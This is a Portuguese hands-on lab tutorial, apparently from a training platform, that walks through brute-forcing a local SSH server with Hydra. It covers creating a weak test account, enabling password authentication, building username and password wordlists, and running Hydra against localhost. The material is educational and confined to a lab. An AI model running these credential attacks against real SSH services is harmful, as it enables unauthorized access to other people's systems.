Ataque de Força Bruta em SSH com Hydra

Introdução

Neste laboratório, você aprenderá a realizar ataques de força bruta contra serviços SSH utilizando o Hydra, uma ferramenta de quebra de senhas extremamente popular no campo da segurança cibernética. O exercício abrange desde a instalação do Hydra até a configuração de um servidor de destino com credenciais fracas e a execução de ataques usando listas de palavras (wordlists) preparadas.

Você ganhará experiência prática na configuração de um ambiente de teste SSH e na análise das capacidades de força bruta do Hydra. Este laboratório demonstra cenários de ataque do mundo real, ao mesmo tempo em que reforça os princípios do hacking ético em um ambiente controlado.

Instalar o Hydra

Nesta etapa, instalaremos o Hydra, uma poderosa ferramenta de quebra de senhas usada para ataques de força bruta contra diversos serviços de rede. O Hydra é particularmente útil para testes de invasão, pois pode testar sistematicamente diferentes combinações de nomes de usuário e senhas para obter acesso a sistemas protegidos. Ele suporta múltiplos protocolos, incluindo SSH (que usaremos neste laboratório), FTP, HTTP e outros.

Primeiro, abra o terminal no seu ambiente de VM LabEx. O terminal é sua interface principal para executar comandos no Linux. Certifique-se de estar no diretório de trabalho padrão onde realizaremos todo o trabalho do laboratório:
```
cd ~/project
```
Antes de instalar qualquer software novo, é uma boa prática atualizar sua lista de pacotes. Isso garante que você obtenha a versão mais recente disponível do Hydra e todas as suas dependências:
```
sudo apt update
```
Agora instalaremos o Hydra usando o gerenciador de pacotes apt, que lida com a instalação de software em sistemas baseados em Debian, como o Ubuntu. A flag -y confirma automaticamente a instalação:
```
sudo apt install -y hydra
```
Após a instalação, vamos verificar se o Hydra foi instalado corretamente checando sua versão. O comando head -n 1 exibe apenas a primeira linha da saída, que contém as informações da versão:
```
hydra -h | head -n 1
```
Você deve ver uma saída semelhante a:
```
Hydra v9.2 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.
```
O Hydra também oferece uma versão com interface gráfica para quem prefere ferramentas GUI. Embora utilizemos a versão de linha de comando neste laboratório, você pode opcionalmente instalar a versão GTK+ com:
```
sudo apt install -y hydra-gtk
```

Configurar um Servidor SSH de Destino

Nesta etapa, configuraremos um servidor SSH local que servirá como nosso alvo para a quebra de senhas nas etapas seguintes. Isso nos permite praticar técnicas de teste de invasão em um ambiente controlado. O SSH (Secure Shell) é um protocolo usado para login remoto seguro entre computadores, e configuraremos uma versão vulnerável para fins de aprendizado.

Primeiro, certifique-se de estar no diretório de trabalho padrão. Isso é importante para mantermos todos os arquivos do laboratório organizados em um só lugar:
```
cd ~/project
```
Instale o pacote do servidor OpenSSH. Este software transformará sua máquina em um servidor SSH capaz de aceitar conexões remotas:
```
sudo apt install -y openssh-server
```
Crie uma conta de usuário de teste dedicada com uma senha fraca (apenas para fins de demonstração). Em cenários reais, senhas fracas como esta são exatamente o que os invasores procuram:
```
sudo useradd -m testuser
echo "testuser:password123" | sudo chpasswd
```
Configure o SSH para permitir a autenticação por senha (temporariamente para este laboratório). Por padrão, muitos sistemas desativam a autenticação por senha por motivos de segurança, mas estamos habilitando-a aqui para demonstrar como funcionam os ataques de força bruta:
```
sudo sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/' /etc/ssh/sshd_config
```
Reinicie o serviço SSH para aplicar as alterações. Os serviços geralmente precisam ser reiniciados para que as mudanças de configuração entrem em vigor:
```
sudo service ssh restart
```
Verifique se o servidor SSH está em execução. Este comando checa se o nosso servidor está devidamente ativo e aguardando conexões:
```
sudo service ssh status
```
Você deve ver uma saída indicando que o serviço está ativo (running). Caso contrário, pode ter ocorrido um erro nas etapas anteriores que precisa de correção.
Teste a conexão SSH localmente. Esta verificação final confirma que tudo está funcionando antes de prosseguirmos para a fase de ataque:
```
ssh testuser@localhost -o StrictHostKeyChecking=no
```
Quando solicitado, digite a senha password123. Após o login bem-sucedido, digite exit para retornar à sua sessão principal. A opção -o StrictHostKeyChecking=no evita que o SSH peça para você verificar a impressão digital (fingerprint) do servidor, o que é aceitável neste ambiente de laboratório.

Preparar uma Lista de Usuários e Senhas

Nesta etapa, criaremos arquivos de texto contendo possíveis nomes de usuário e senhas que o Hydra usará para tentar a autenticação SSH. Esses arquivos são essenciais para ataques de força bruta baseados em dicionário. Um ataque de dicionário funciona testando sistematicamente todas as combinações possíveis de usuários e senhas de listas predefinidas, por isso preparar boas listas é crucial.

Primeiro, certifique-se de estar no diretório de trabalho padrão. Isso ajuda a manter os arquivos do seu projeto organizados e facilita a referência a eles mais tarde:
```
cd ~/project
```
Crie um arquivo de lista de usuários usando o editor de texto nano. Nomes de usuário comuns costumam ser testados primeiro em ataques de força bruta, pois muitos sistemas utilizam nomes padrão ou previsíveis:
```
nano usernames.txt
```
Adicione estes nomes de usuário comuns (pressione Ctrl+O para salvar e Ctrl+X para sair):
```
admin
root
testuser
user
guest
```
Crie um arquivo de lista de senhas. Senhas fracas como estas são frequentemente usadas e costumam ser os primeiros alvos em testes de segurança:
```
nano passwords.txt
```
Adicione estas senhas comuns:
```
password
password123
123456
qwerty
letmein
```
Verifique se os arquivos foram criados corretamente exibindo seu conteúdo. Esta etapa de confirmação garante que não existam erros de digitação ou problemas de formatação em suas listas:
```
cat usernames.txt
cat passwords.txt
```
Você deverá ver as listas que criou exibidas no terminal.
(Opcional) Gere variações adicionais de senhas usando o crunch. Esta ferramenta ajuda a criar listas de senhas mais abrangentes, gerando automaticamente combinações baseadas em padrões específicos:
```
sudo apt install -y crunch
crunch 4 6 0123456789 -o num_passwords.txt
```
Isso cria senhas numéricas com comprimento entre 4 e 6 caracteres. O comando especifica o comprimento mínimo (4), o comprimento máximo (6) e o conjunto de caracteres (dígitos 0-9).

Executar o Hydra contra o SSH

Nesta etapa, usaremos o Hydra para realizar um ataque de força bruta contra o nosso servidor SSH local. A força bruta é um método que consiste em testar várias combinações de usuário/senha até encontrar a correta. Utilizaremos as listas de palavras que preparamos anteriormente para automatizar esse processo.

Primeiro, navegue até o diretório do projeto que contém suas listas de palavras. Isso garante que o Hydra consiga encontrar os arquivos que criamos:
```
cd ~/project
```
Agora executaremos o Hydra com parâmetros específicos. A estrutura do comando diz ao Hydra o que atacar e como. Vamos detalhar:
```
hydra -L usernames.txt -P passwords.txt ssh://localhost -t 4 -vV
```
Explicação dos parâmetros:
- -L usernames.txt: Aponta para nossa lista de possíveis nomes de usuário.
- -P passwords.txt: Especifica nosso arquivo de dicionário de senhas.
- ssh://localhost: Define como alvo o serviço SSH nesta máquina.
- -t 4: Controla a velocidade limitando a 4 tentativas simultâneas.
- -vV: Exibe o progresso detalhado no terminal.
Enquanto o Hydra é executado, ele exibirá cada tentativa em tempo real. Quando encontrar credenciais válidas, elas aparecerão claramente na saída desta forma:
```
[22][ssh] host: localhost   login: testuser   password: password123
```
(Opcional) Para manter um registro permanente dos resultados, podemos salvá-los em um arquivo. Isso é útil para documentação ou análises posteriores:
```
hydra -L usernames.txt -P passwords.txt ssh://localhost -t 4 -o results.txt
```
Após a conclusão da varredura, você pode visualizar os resultados salvos com:
```
cat results.txt
```

Resumo

Neste laboratório, você aprendeu como conduzir um ataque de força bruta em SSH usando o Hydra, uma poderosa ferramenta de quebra de senhas. O exercício cobriu a instalação do Hydra, a configuração de um servidor SSH para testes e a criação de listas direcionadas de usuários e senhas.

Você praticou a execução de ataques baseados em dicionário e a análise de resultados, demonstrando como credenciais fracas podem ser exploradas. Esta experiência prática destaca a necessidade crítica de senhas fortes e métodos de autenticação seguros na segurança cibernética.